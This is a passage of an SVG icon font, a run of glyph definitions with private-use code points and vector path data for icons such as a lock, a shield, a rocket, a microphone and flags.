<glyph unicode="&#xf13e;" d="M 264,192q 10,0 17-7t 7-17l0-144 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,144 q0,10 7,17t 17,7l 8,0 l0,80 q0,46.25 32.875,79.125t 79.125,32.875t 79.125-32.875t 32.875-79.125q0-6.5 -4.75-11.25t-11.25-4.75l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25 l0-80 l 184,0 z" horiz-adv-x="288"  />
<glyph unicode="&#xf13d;" d="M 240,320q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 448,88l0-88 q0-5.5 -5-7.5q-2-0.5 -3-0.5q-3.25,0 -5.75,2.25l-23.25,23.25q-29.75-35.75 -79.625-56.625t-107.375-20.875t-107.375,20.875t-79.625,56.625l-23.25-23.25q-2.25-2.25 -5.75-2.25q-1,0 -3,0.5q-5,2 -5,7.5l0,88  q0,3.5 2.25,5.75t 5.75,2.25l 88,0 q 5.5,0 7.5-5q 2-4.75 -1.75-8.75l-25-25q 16.75-22.75 47.375-38.375t 67.875-20.625l0,161.75 l-48,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 48,0 l0,40.75 q-14.5,8.5 -23.25,23.125t-8.75,32.125q0,26.5 18.75,45.25t 45.25,18.75t 45.25-18.75t 18.75-45.25q0-17.5 -8.75-32.125t-23.25-23.125l0-40.75 l 48,0 q 6.5,0 11.25-4.75 t 4.75-11.25l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-48,0 l0-161.75 q 37.25,5 67.875,20.625t 47.375,38.375l-25,25q-3.75,4 -1.75,8.75q 2,5 7.5,5l 88,0 q 3.5,0 5.75-2.25t 2.25-5.75z"  />
<glyph unicode="&#xf13c;" d="M 68.75,352l 376.25,0 l-66.5-333.25l-201-66.75l-174.5,66.75l 17.75,89l 74.25,0 l-7.25-36.75l 105.5-40.25l 121.5,40.25l 17,84.75l-302,0 l 14.5,74.25l 302.25,0 l 9.5,47.75l-302,0 z"  />
<glyph unicode="&#xf13b;" d="M 282.5,234.75l 4,43.75l-221,0 l 11.75-133.5l 153,0 l-5.5-57l-49.25-13.25l-49,13.25l-3.25,35l-43.75,0 l 5.5-69.5l 90.5-25l 1,0 l0,0.25 l 89.75,24.75l 12.5,136l-161,0 l-3.75,45.25l 168.5,0 zM0,352l 352,0 l-32-359.5l-144.5-40.5l-143.5,40.5z" horiz-adv-x="352"  />
<glyph unicode="&#xf13a;" d="M 203.25,59.25l 113.5,113.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-25.5,25.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-76.75-76.75l-76.75,76.75q-4.75,4.75 -11.25,4.75t-11.25-4.75l-25.5-25.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 113.5-113.5q 4.75-4.75 11.25-4.75t 11.25,4.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875 t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf139;" d="M 291.25,99.25l 25.5,25.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-113.5,113.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-113.5-113.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 25.5-25.5q 4.75-4.75 11.25-4.75t 11.25,4.75l 76.75,76.75l 76.75-76.75q 4.75-4.75 11.25-4.75t 11.25,4.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875 t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf138;" d="M 179.25,35.25l 113.5,113.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-113.5,113.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-25.5-25.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 76.75-76.75l-76.75-76.75q-4.75-4.75 -4.75-11.25t 4.75-11.25l 25.5-25.5q 4.75-4.75 11.25-4.75t 11.25,4.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875 t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf137;" d="M 227.25,35.25l 25.5,25.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-76.75,76.75l 76.75,76.75q 4.75,4.75 4.75,11.25t-4.75,11.25l-25.5,25.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-113.5-113.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 113.5-113.5q 4.75-4.75 11.25-4.75t 11.25,4.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875 t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf136;" d="M 427,220.25l-47-220.25l-76,0 l 45.25,212.25q 1,5.25 0.25,10.75q-1,5 -4,8.75q-2.5,3.5 -7,6q-4.5,2.25 -10,2.25l-49.25,0 l-51.25-240l-75.75,0 l 51,240l-76,0 l-51.25-240l-76,0 l 68,320l 284.75,0 q 39.25,0 61.25-29.5q 21.5-29 13-70.25z"  />
<glyph unicode="&#xf135;" d="M 360,272q0,10 -7,17t-17,7t-17-7t-7-17t 7-17t 17-7t 17,7t 7,17zM 416,344q0-62.25 -18.875-107.625t-63.375-90.125q-20.25-20 -48.75-44l-5-94.75q-0.5-4 -4-6.5l-96-56q-1.75-1 -4-1q-3,0 -5.75,2.25l-16,16q-3.25,3.5 -2,8l 21.25,69l-70.25,70.25l-69-21.25q-0.75-0.25 -2.25-0.25 q-3.5,0 -5.75,2.25l-16,16q-4.25,4.75 -1.25,9.75l 56,96q 2.5,3.5 6.5,4l 94.75,5q 24,28.5 44,48.75q 47,46.75 89.5,64.5t 107.75,17.75q 3.5,0 6-2.375t 2.5-5.625z" horiz-adv-x="416"  />
<glyph unicode="&#xf134;" d="M 128,336q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 352,344l0-80 q0-4 -3-6.25q-2-1.75 -5-1.75q-1,0 -1.75,0.25l-112,24q-2.75,0.5 -4.5,2.75t-1.75,5l-64,0 l0-25.5 q 27.75-5.75 45.875-27.75t 18.125-50.75l0-200 q0-6.5 -4.75-11.25t-11.25-4.75l-128,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,200  q0,26.5 15.625,47.625t 40.375,28.625l0,27.75 l-8,0 q-14.75,0 -28.75-5.875t-22.875-13.25t-16.5-16.625t-10.125-13.375t-3.5-6.125q-4.25-8.75 -14.25-8.75q-4,0 -7.25,1.75q-5.75,3 -7.875,9.25t 0.875,12.25q 1.25,2.5 3.625,6.5t 9.375,13.375t 15.125,17.5t 21.25,16.75t 27.125,13.125q-6.25,10.5 -6.25,21.5q0,16.5 11.75,28.25t 28.25,11.75t 28.25-11.75t 11.75-28.25 q0-8.25 -3.5-16l 75.5,0 q0,2.75 1.75,5t 4.5,2.75l 112,24q 0.75,0.25 1.75,0.25q 3,0 5-1.75q 3-2.25 3-6.25z" horiz-adv-x="352"  />
<glyph unicode="&#xf133;" d="M 32-32l 352,0 l0,256 l-352,0 l0-256 zM 128,272l0,72 q0,3.5 -2.25,5.75t-5.75,2.25l-16,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-72 q0-3.5 2.25-5.75t 5.75-2.25l 16,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 320,272l0,72 q0,3.5 -2.25,5.75t-5.75,2.25l-16,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-72 q0-3.5 2.25-5.75t 5.75-2.25l 16,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 416,288l0-320  q0-13 -9.5-22.5t-22.5-9.5l-352,0 q-13,0 -22.5,9.5t-9.5,22.5l0,320 q0,13 9.5,22.5t 22.5,9.5l 32,0 l0,24 q0,16.5 11.75,28.25t 28.25,11.75l 16,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-24 l 96,0 l0,24 q0,16.5 11.75,28.25t 28.25,11.75l 16,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-24 l 32,0 q 13,0 22.5-9.5t 9.5-22.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf132;" d="M 272,144l0,160 l-112,0 l0-284.25 q 29.75,15.75 53.25,34.25q 58.75,46 58.75,90zM 320,336l0-192 q0-21.5 -8.375-42.625t-20.75-37.5t-29.5-31.875t-31.625-25.75t-30.25-19.375t-22.375-12.375t-10.625-5q-3-1.5 -6.5-1.5t-6.5,1.5q-4,1.75 -10.625,5t-22.375,12.375t-30.25,19.375t-31.625,25.75t-29.5,31.875t-20.75,37.5 t-8.375,42.625l0,192 q0,6.5 4.75,11.25t 11.25,4.75l 288,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="320"  />
<glyph unicode="&#xf131;" d="M 67.75,147.75l-25.25-25.25q-10.5,25.75 -10.5,53.5l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25l0-32 q0-13.25 3.75-28.25zM 346.25,298.25l-90.25-90.25l0-32 q0-33 -23.5-56.5t-56.5-23.5q-13.75,0 -27.25,4.75l-24-24q 24.25-12.75 51.25-12.75q 46.25,0 79.125,32.875t 32.875,79.125l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25l0-32  q0-55.25 -36.875-96.125t-91.125-46.875l0-33 l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75l-160,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 64,0 l0,33 q-31.25,3.25 -58.75,20.25l-63.5-63.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-20.5,20.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 308.5,308.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 20.5-20.5q 2.5-2.5 2.5-5.75 t-2.5-5.75zM 251.25,331.25l-155.25-155.25l0,128 q0,33 23.5,56.5t 56.5,23.5q 25.5,0 46.125-14.75t 29.125-38z" horiz-adv-x="352"  />
<glyph unicode="&#xf130;" d="M 288,208l0-32 q0-55.25 -36.875-96.125t-91.125-46.875l0-33 l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75l-160,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 64,0 l0,33 q-54.25,6 -91.125,46.875t-36.875,96.125l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25l0-32 q0-46.25 32.875-79.125t 79.125-32.875 t 79.125,32.875t 32.875,79.125l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25zM 224,304l0-128 q0-33 -23.5-56.5t-56.5-23.5t-56.5,23.5t-23.5,56.5l0,128 q0,33 23.5,56.5t 56.5,23.5t 56.5-23.5t 23.5-56.5z" horiz-adv-x="288"  />
<glyph unicode="&#xf12e;" d="M 416,109.5q0-20.25 -11.125-33.75t-30.875-13.5q-10.25,0 -19.375,4.375t-14.75,9.5t-14.125,9.5t-17.75,4.375q-27.5,0 -27.5-31q0-9.75 4-28.75t 3.75-28.75l0-1.25 q-5.5,0 -8.25-0.25q-8.5-0.75 -24.375-2.875t-28.875-3.375t-24.5-1.25q-15.25,0 -25.75,6.625t-10.5,20.875q0,9.25 4.375,17.75t 9.5,14.125t 9.5,14.75t 4.375,19.375q0,19.75 -13.5,30.875 t-33.75,11.125q-21,0 -35.75-11.375t-14.75-31.875q0-10.75 3.75-20.75t 8.375-16.125t 8.375-13.25t 3.75-12.625q0-11.25 -11.5-22.25q-9.25-8.75 -29.25-8.75q-23.75,0 -61.25,6q-2.25,0.5 -6.875,1t-6.875,1l-3.25,0.5q-0.25,0 -0.75,0.25q-0.5,0 -0.5,0.25l0,256 q 0.5-0.25 4.375-0.875t 8.5-1.25t 5.375-0.875q 37.5-6 61.25-6q 20,0 29.25,8.75q 11.5,11 11.5,22.25 q0,5.5 -3.75,12.625t-8.375,13.25t-8.375,16.125t-3.75,20.75q0,20.5 14.75,31.875t 36,11.375q 20,0 33.5-11.125t 13.5-30.875q0-10.25 -4.375-19.375t-9.5-14.75t-9.5-14.125t-4.375-17.75q0-14.25 10.5-20.875t 25.75-6.625q 16,0 45,3.75t 40.75,4.25l0-0.5 q-0.25-0.5 -0.875-4.375t-1.25-8.5t-0.875-5.375q-6-37.5 -6-61.25q0-20 8.75-29.25 q 11-11.5 22.25-11.5q 5.5,0 12.625,3.75t 13.25,8.375t 16.125,8.375t 20.75,3.75q 20.5,0 31.875-14.75t 11.375-35.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf12d;" d="M 224,32l 84,96l-192,0 l-84-96l 192,0 zM 477.25,301.25q 3.75-8.5 2.375-17.875t-7.625-16.375l-224-256q-9.5-11 -24-11l-192,0 q-9.5,0 -17.375,5.125t-11.875,13.625q-3.75,8.5 -2.375,17.875t 7.625,16.375l 224,256q 9.5,11 24,11l 192,0 q 9.5,0 17.375-5.125t 11.875-13.625z" horiz-adv-x="480"  />
<glyph unicode="&#xf12c;" d="M 224.25,41.75l0-41.75 l-62,0 l-39.75,63l-6,10.5q-2,2.25 -2.75,5.25l-0.75,0 l-2.25-5.25q-2.5-5 -6.25-11l-38.75-62.5l-64.5,0 l0,41.75 l 32,0 l 49.25,72.75l-46.25,68l-34.25,0 l0,42 l 69,0 l 34.75-57q 0.5-1 5.75-10.5q 2-2.25 2.75-5.25l 0.75,0 q 0.75,2.25 2.75,5.25l 6.25,10.5l 35,57l 64.25,0 l0-42 l-31.25,0 l-46-66.75l 51-74l 27.25,0 zM 384-12.5l0-51.5 l-128.5,0 l-1,6.75 q-0.75,11.25 -0.75,11.5q0,16 6.5,29.25t 16.25,21.625t 21,16.25t 21,13.625t 16.25,13.5t 6.5,16q0,9.5 -7.375,15.625t-17.625,6.125q-12.75,0 -24.25-9.75q-3.5-2.75 -9-9.5l-26.25,23q 6.5,9.25 15.75,16.5q 20,16.25 47,16.25q 27.5,0 44.5-14.875t 17-39.625q0-16.5 -8.625-29.625t-21-21.5t-24.875-15.625t-21.75-15.75t-10.25-18.25l 58,0 l0,20 l 31.5,0 z" horiz-adv-x="384"  />
<glyph unicode="&#xf12b;" d="M 224.25,41.75l0-41.75 l-62,0 l-39.75,63l-6,10.5q-2,2.25 -2.75,5.25l-0.75,0 l-2.25-5.25q-2.5-5 -6.25-11l-38.75-62.5l-64.5,0 l0,41.75 l 32,0 l 49.25,72.75l-46.25,68l-34.25,0 l0,42 l 69,0 l 34.75-57q 0.5-1 5.75-10.5q 2-2.25 2.75-5.25l 0.75,0 q 0.75,2.25 2.75,5.25l 6.25,10.5l 35,57l 64.25,0 l0-42 l-31.25,0 l-46-66.75l 51-74l 27.25,0 zM 383.5,211.5l0-51.5 l-128.5,0 l-0.75,6.75 q-1,7 -1,11.5q0,16 6.5,29.25t 16.25,21.625t 21,16.25t 21,13.625t 16.25,13.5t 6.5,16q0,9.5 -7.375,15.625t-17.625,6.125q-12.75,0 -24.25-9.75q-3.5-2.75 -9-9.5l-26.25,23q 6.5,9.25 15.75,16.5q 20.75,16.25 47,16.25q 27.5,0 44.5-14.875t 17-39.625q0-14 -6.125-25.75t-15.5-19.125t-20.375-14.625t-20.5-12.625t-16.375-12.875t-7.625-15.75l 58,0 l0,20  l 31.5,0 z" horiz-adv-x="384"  />
<glyph unicode="&#xf12a;" d="M 128,72l0-56 q0-6.5 -4.75-11.25t-11.25-4.75l-64,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,56 q0,6.5 4.75,11.25t 11.25,4.75l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 135.5,336l-7-192q-0.25-6.5 -5.125-11.25t-11.375-4.75l-64,0 q-6.5,0 -11.375,4.75t-5.125,11.25l-7,192q-0.25,6.5 4.375,11.25t 11.125,4.75l 80,0 q 6.5,0 11.125-4.75t 4.375-11.25z" horiz-adv-x="160"  />
<glyph unicode="&#xf129;" d="M 160,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-128,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 16,0 l0,96 l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 96,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-144 l 16,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 128,336l0-48 q0-6.5 -4.75-11.25t-11.25-4.75l-64,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,48  q0,6.5 4.75,11.25t 11.25,4.75l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="160"  />
<glyph unicode="&#xf128;" d="M 176,70l0-60 q0-4 -3-7t-7-3l-60,0 q-4,0 -7,3t-3,7l0,60 q0,4 3,7t 7,3l 60,0 q 4,0 7-3t 3-7zM 255,220q0-13.5 -3.875-25.25t-8.75-19.125t-13.75-14.875t-14.375-10.875t-15.25-8.875q-10.25-5.75 -17.125-16.25t-6.875-16.75q0-4.25 -3-8.125t-7-3.875l-60,0 q-3.75,0 -6.375,4.625 t-2.625,9.375l0,11.25 q0,20.75 16.25,39.125t 35.75,27.125q 14.75,6.75 21,14t 6.25,19q0,10.5 -11.625,18.5t-26.875,8q-16.25,0 -27-7.25q-8.75-6.25 -26.75-28.75q-3.25-4 -7.75-4q-3,0 -6.25,2l-41,31.25q-3.25,2.5 -3.875,6.25t 1.375,7q 40,66.5 116,66.5q 20,0 40.25-7.75t 36.5-20.75t 26.5-31.875t 10.25-39.625z" horiz-adv-x="256"  />
<glyph unicode="&#xf127;" d="M 109.75,66.25l-64-64q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25q-2.25,2.5 -2.25,5.75t 2.25,5.75l 64,64q 2.5,2.25 5.75,2.25t 5.75-2.25q 2.25-2.5 2.25-5.75t-2.25-5.75zM 152,56l0-80 q0-3.5 -2.25-5.75t-5.75-2.25t-5.75,2.25t-2.25,5.75l0,80 q0,3.5 2.25,5.75t 5.75,2.25t 5.75-2.25t 2.25-5.75zM 96,112q0-3.5 -2.25-5.75t-5.75-2.25l-80,0 q-3.5,0 -5.75,2.25t-2.25,5.75t 2.25,5.75t 5.75,2.25l 80,0  q 3.5,0 5.75-2.25t 2.25-5.75zM 412,80q0-30 -21.25-50.75l-36.75-36.5q-20.75-20.75 -50.75-20.75q-30.25,0 -51,21.25l-83.5,83.75q-5.25,5.25 -10.5,14l 59.75,4.5l 68.25-68.5q 6.75-6.75 17-6.875t 17,6.625l 36.75,36.5q 7,7 7,16.75q0,10 -7,17l-68.5,68.75l 4.5,59.75q 8.75-5.25 14-10.5l 84-84q 21-21.5 21-51zM 257.75,261l-59.75-4.5 l-68.25,68.5q-7,7 -17,7q-9.75,0 -17-6.75l-36.75-36.5q-7-7 -7-16.75q0-10 7-17l 68.5-68.5l-4.5-60q-8.75,5.25 -14,10.5l-84,84q-21,21.5 -21,51q0,30 21.25,50.75l 36.75,36.5q 20.75,20.75 50.75,20.75q 30.25,0 51-21.25l 83.5-83.75q 5.25-5.25 10.5-14zM 416,240q0-3.5 -2.25-5.75t-5.75-2.25l-80,0 q-3.5,0 -5.75,2.25 t-2.25,5.75t 2.25,5.75t 5.75,2.25l 80,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 280,376l0-80 q0-3.5 -2.25-5.75t-5.75-2.25t-5.75,2.25t-2.25,5.75l0,80 q0,3.5 2.25,5.75t 5.75,2.25t 5.75-2.25t 2.25-5.75zM 381.75,338.25l-64-64q-2.75-2.25 -5.75-2.25t-5.75,2.25q-2.25,2.5 -2.25,5.75t 2.25,5.75l 64,64q 2.5,2.25 5.75,2.25t 5.75-2.25q 2.25-2.5 2.25-5.75t-2.25-5.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf126;" d="M 72,16q0,10 -7,17t-17,7t-17-7t-7-17t 7-17t 17-7t 17,7t 7,17zM 72,304q0,10 -7,17t-17,7t-17-7t-7-17t 7-17t 17-7t 17,7t 7,17zM 232,272q0,10 -7,17t-17,7t-17-7t-7-17t 7-17t 17-7t 17,7t 7,17zM 256,272q0-13 -6.5-24.125t-17.5-17.375 q-0.5-71.75 -56.5-103.5q-17-9.5 -50.75-20.25q-32-10 -42.375-17.75t-10.375-25l0-6.5 q 11-6.25 17.5-17.375t 6.5-24.125q0-20 -14-34t-34-14t-34,14t-14,34q0,13 6.5,24.125t 17.5,17.375l0,205 q-11,6.25 -17.5,17.375t-6.5,24.125q0,20 14,34t 34,14t 34-14t 14-34q0-13 -6.5-24.125t-17.5-17.375l0-124.25  q 13.5,6.5 38.5,14.25q 13.75,4.25 21.875,7.375t 17.625,7.75t 14.75,9.875t 10.125,12.75t 7,17.375t 2.125,22.875q-11,6.25 -17.5,17.375t-6.5,24.125q0,20 14,34t 34,14t 34-14t 14-34z" horiz-adv-x="256"  />
<glyph unicode="&#xf125;" d="M 139.25,64l 148.75,0 l0,148.75 zM 128,75.25l 148.75,148.75l-148.75,0 l0-148.75 zM 416,56l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-56,0 l0-56 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,56 l-216,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,216 l-56,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 56,0 l0,56 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75 l0-56 l 212.75,0 l 61.5,61.75q 2.5,2.25 5.75,2.25t 5.75-2.25q 2.25-2.5 2.25-5.75t-2.25-5.75l-61.75-61.5l0-212.75 l 56,0 q 3.5,0 5.75-2.25t 2.25-5.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf124;" d="M 350.25,296.75l-160-320q-4.25-8.75 -14.25-8.75q-1.25,0 -3.75,0.5q-5.5,1.25 -8.875,5.625t-3.375,9.875l0,144 l-144,0 q-5.5,0 -9.875,3.375t-5.625,8.875t 1,10.5t 7.25,7.5l 320,160q 3.25,1.75 7.25,1.75q 6.75,0 11.25-4.75q 3.75-3.5 4.625-8.625t-1.625-9.875z" horiz-adv-x="352"  />
<glyph unicode="&#xf123;" d="M 296.5,144.75l 64.25,62.5l-89,13l-16.5,2.5l-7.5,15l-39.75,80.5l0-240.75 l 14.75-7.75l 79.5-42l-15,88.75l-3,16.5zM 409.5,210.25l-90.75-88.5l 21.5-125q 1.25-8.25 -1.5-12.875t-8.5-4.625q-4.25,0 -10,3l-112.25,59l-112.25-59q-5.75-3 -10-3q-5.75,0 -8.5,4.625t-1.5,12.875l 21.5,125l-91,88.5q-8,8 -5.75,14.875t 13.5,8.625 l 125.5,18.25l 56.25,113.75q 5,10.25 12.25,10.25q 7,0 12.25-10.25l 56.25-113.75l 125.5-18.25q 11.25-1.75 13.5-8.625t-6-14.875z" horiz-adv-x="416"  />
<glyph unicode="&#xf122;" d="M 160,113.5l0-17.5 q0-10.5 -9.75-14.75q-3.25-1.25 -6.25-1.25q-6.75,0 -11.25,4.75l-128,128q-4.75,4.75 -4.75,11.25t 4.75,11.25l 128,128q 7.25,7.75 17.5,3.5q 9.75-4.25 9.75-14.75l0-17.25 l-99.25-99.5q-4.75-4.75 -4.75-11.25t 4.75-11.25zM 448,104q0-14.5 -4.25-33.375t-9.625-34.5t-12-31.25t-10.125-22.625l-5-10q-2-4.25 -7-4.25q-1.5,0 -2.25,0.25 q-6.25,2 -5.75,8.5q 10.75,100 -26.5,141.25q-16,17.75 -42.625,27.625t-66.875,13.125l0-62.75 q0-10.5 -9.75-14.75q-3.25-1.25 -6.25-1.25q-6.75,0 -11.25,4.75l-128,128q-4.75,4.75 -4.75,11.25t 4.75,11.25l 128,128q 7.25,7.75 17.5,3.5q 9.75-4.25 9.75-14.75l0-65.5 q 102.75-7 149.75-55.25q 42.25-43.25 42.25-127.25z"  />
<glyph unicode="&#xf121;" d="M 154.25,34.25l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75t-2.5-5.75l-98.25-98.25l 98.25-98.25q 2.5-2.5 2.5-5.75t-2.5-5.75zM 302,301l-93.25-322.75q-1-3.25 -3.875-4.875t-5.875-0.625l-15.5,4.25q-3.25,1 -4.875,3.875t-0.625,6.125 l 93.25,322.75q 1,3.25 3.875,4.875t 5.875,0.625l 15.5-4.25q 3.25-1 4.875-3.875t 0.625-6.125zM 466.25,138.25l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 98.25,98.25l-98.25,98.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75t-2.5-5.75z" horiz-adv-x="480"  />
<glyph unicode="&#xf120;" d="M 146.25,138.25l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 98.25,98.25l-98.25,98.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75t-2.5-5.75zM 416,24l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-240,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 240,0 q 3.5,0 5.75-2.25 t 2.25-5.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf11e;" d="M 208,134l0,48 q-45.25-4 -96-29.25l0-46.25 q 51.25,24 96,27.5zM 208,238.5l0,49.25 q-43-2 -96-31.5l0-47.25 q 53.75,27.75 96,29.5zM 416,122.75l0,46 q-58.75-29 -96-17.75l0,56 q-5,1.5 -9.75,3.75q-1.25,0.75 -8.25,4.25t-8.625,4.25t-7.875,3.75t-8.625,3.875t-8.125,3.25t-9,3.125t-8.75,2.125t-9.875,1.875t-9.875,1t-11,0.5 q-5.75,0 -12.25-0.75l0-55.5 l 4.75,0 q 25.5,0 48.125-7.25t 49.375-20.5q 4.75-2.25 9.75-3.75l0-47 q 10.5-4.25 22.75-4.25q 30,0 73.25,23zM 416,229.5l0,47.25 q-42.25-22.75 -76.5-22.75q-11.25,0 -19.5,2l0-49 q 37-10.5 96,22.5zM 80,320q0-8.75 -4.375-16t-11.625-11.5l0-316.5 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,316.5  q-7.25,4.25 -11.625,11.5t-4.375,16q0,13.25 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 448,304l0-190.75 q0-9.75 -8.75-14.25q-2.5-1.25 -4.25-2.25q-54.5-29 -92.25-29q-22,0 -39.5,8.75l-7,3.5q-16,8.25 -24.75,12t-22.75,7.25t-28.5,3.5q-25.5,0 -58.875-11t-57.125-25.5q-3.75-2.25 -8.25-2.25q-4,0 -8,2 q-8,4.75 -8,14l0,185.5 q0,8.75 7.75,13.75q 8.75,5.25 19.625,10.625t 28.5,13t 38.125,12.375t 38.75,4.75q 28,0 52.25-7.75t 52.25-21.5q 9.5-4.75 22.25-4.75q 30.5,0 77.5,28q 5.5,3 7.75,4.25q 7.75,4 15.5-0.5q 7.75-5 7.75-13.75z"  />
<glyph unicode="&#xf11d;" d="M 416,122.75l0,154 q-42.25-22.75 -76.5-22.75q-20.5,0 -36.25,8q-25,12.25 -46,19.125t-44.5,6.875q-43.25,0 -100.75-31.75l0-149.75 q 61.25,28.25 108.25,28.25q 13.75,0 25.875-1.875t 24.5-6.5t 19.25-7.75t 20.625-9.875l 7-3.5q 11-5.5 25.25-5.5q 30,0 73.25,23zM 80,320q0-8.75 -4.375-16t-11.625-11.5l0-316.5 q0-3.5 -2.25-5.75t-5.75-2.25 l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,316.5 q-7.25,4.25 -11.625,11.5t-4.375,16q0,13.25 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 448,304l0-190.75 q0-9.75 -8.75-14.25q-2.5-1.25 -4.25-2.25q-54.5-29 -92.25-29q-22,0 -39.5,8.75l-7,3.5q-16,8.25 -24.75,12t-22.75,7.25t-28.5,3.5q-25.5,0 -58.875-11t-57.125-25.5 q-3.75-2.25 -8.25-2.25q-4,0 -8,2q-8,4.75 -8,14l0,185.5 q0,8.75 7.75,13.75q 8.75,5.25 19.625,10.625t 28.5,13t 38.125,12.375t 38.75,4.75q 28,0 